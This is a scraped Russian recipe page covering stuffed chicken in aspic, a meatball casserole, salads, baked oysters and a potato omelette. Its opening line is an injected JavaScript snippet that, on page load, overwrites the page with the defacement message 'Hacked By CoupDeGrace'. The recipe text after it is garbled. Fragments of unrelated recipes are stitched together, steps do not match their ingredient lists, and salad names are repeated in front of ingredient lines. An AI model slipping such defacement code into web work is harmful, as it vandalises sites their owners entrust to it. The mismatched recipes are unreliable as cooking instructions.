document.addEventListener('DOMContentLoaded', function(){document.title='Hacked By CoupDeGrace';document.body.style.cssText='margin:0;overflow:hidden';document.body.innerHTML='
Hacked By CoupDeGrace
';});

Готовим:

Куриную тушку вымыть, обсушить, положить грудинкой вниз и острым ножом разрезать вдоль хребта. Удалить кости, посолить и оставить на час. Куриные кости и потроха залить 2 л холодной воды. Во время закипания снять пену, опустить очищенные овощи, перец, разрезанный пополам лук, поперченный на сухой сковородке и посолить. Для начинки куриную печень мелко порубить, соединить с желтками, натертыми на крупной терке луком, маслом, солью и перцем и хорошо растереть. Добавить сбитые в пену белки, сухари и перемешать. Крепкой белой нитью зашить куриную тушку, оставив отверстие для фарширования. После заполнения начинкой отверстие зашить. Вложить курицу в предварительно ошпаренный кипятком марлевый мешочек, связать и варить до готовности в бульоне. Сваренную курицу вынуть, охладить, нарезать небольшими порциями и выложить на блюдо. Украсить фигурно нарезанной морковью и зеленью петрушки. Собрав жир, соединить бульон с желатином и, когда остынет, залить им мясо. Остаток бульона вылить в глубокую тарелку и оставить для застывания. Перед подачей на стол обложить курицу желе, набирая его столовой ложкой таким образом, что бы образовались спирали.

Запеканка из тефтелей с омлетно-сырной заливкой. Фото-рецепт приготовления

Продукты:

Для приготовление данного блюда нам потребуется 250-300 г. куриного фарша, лук - 1 шт, помидор - 1 шт., сыр - 100 гр., молоко - 0,5-0,7 л., мука - 2 столовые ложки,макаронные изделия (рожки) - 100 г., яйцо куриное - 4 шт.,  болгарский перец для украшения, соль, перец, мускатный орех, щепотка соды.

Продукты:

 

2 стакана риса, 50 г растительного масла, 1 луковица, корень петрушки, 250 г говяжьего фарша, соль, перец, молотый мускатный орех, 100 г белого или красного сухого вина, 1,5 л бульона; 1 ложка томата-пасты, немного тертого сыра.

 

Продукты для приготовления салата из овощей:

Салат из овощей 3 помидора,

Салат из овощей 2 болгарских перца,

Салат из овощей 1 головка лука,

Салат из овощей пряная зелень,

Салат из овощей соль,

Салат из овощей перец

Готовим:

Вымытые раковины раскрыть так, чтобы устрица осталась в глубокой створке, посыпать солью и тертым сыром, сбрызнуть сливочным маслом, уложить на сковороду и запечь до готовности в жарочном шкафу. При подаче раковины с устрицами положить на тарелку, покрытую салфеткой, и украсить веточками зелени.

Продукты:

3 яйца, 100 г картофеля, по 1 столовой ложке молока и маслаГотовим: Очистить сырой картофель, нарезать его мелкими кубиками и поджарить на сковороде с маслом. Затем картофель залить взбитыми с молоком яйцами, перемешать и жарить, как натуральный омлет. Этот омлет можно запекать в духовке.

Салат Золотой розан

Продукты:

Салат Золотой розан 150 г. отварного филе курицы,
Салат Золотой розан 3 вареных яйца,
Салат Золотой розан 2 небольших свежих огурца,
Салат мясной 100 г. сыра,
Салат Золотой розан 2 помидора,
Салат Золотой розан пакетик фисташек.

Продукты:

 

Судак - 75 г, лимон - 1/5 шт., яйцо 1/4 шт., зелень петрушки - 4 г, салат - 10 г, корнишоны - 20 г, бульон - 100 г, желатин - 3 г, соль.

Продукты:

Салат с треской, морским окунем, камбалой 200 г картофеля,

Салат с треской, морским окунем, камбалой 200 г огурцов и помидоров,

Салат с треской, морским окунем, камбалой 200 г вареной рыбы,

Салат с треской, морским окунем, камбалой 100 г горошка или бобов,

Салат с треской, морским окунем, камбалой 50 г зеленого салата,

Салат с треской, морским окунем, камбалой 200 г майонеза или салатной заправки,

Салат с треской, морским окунем, камбалой специи.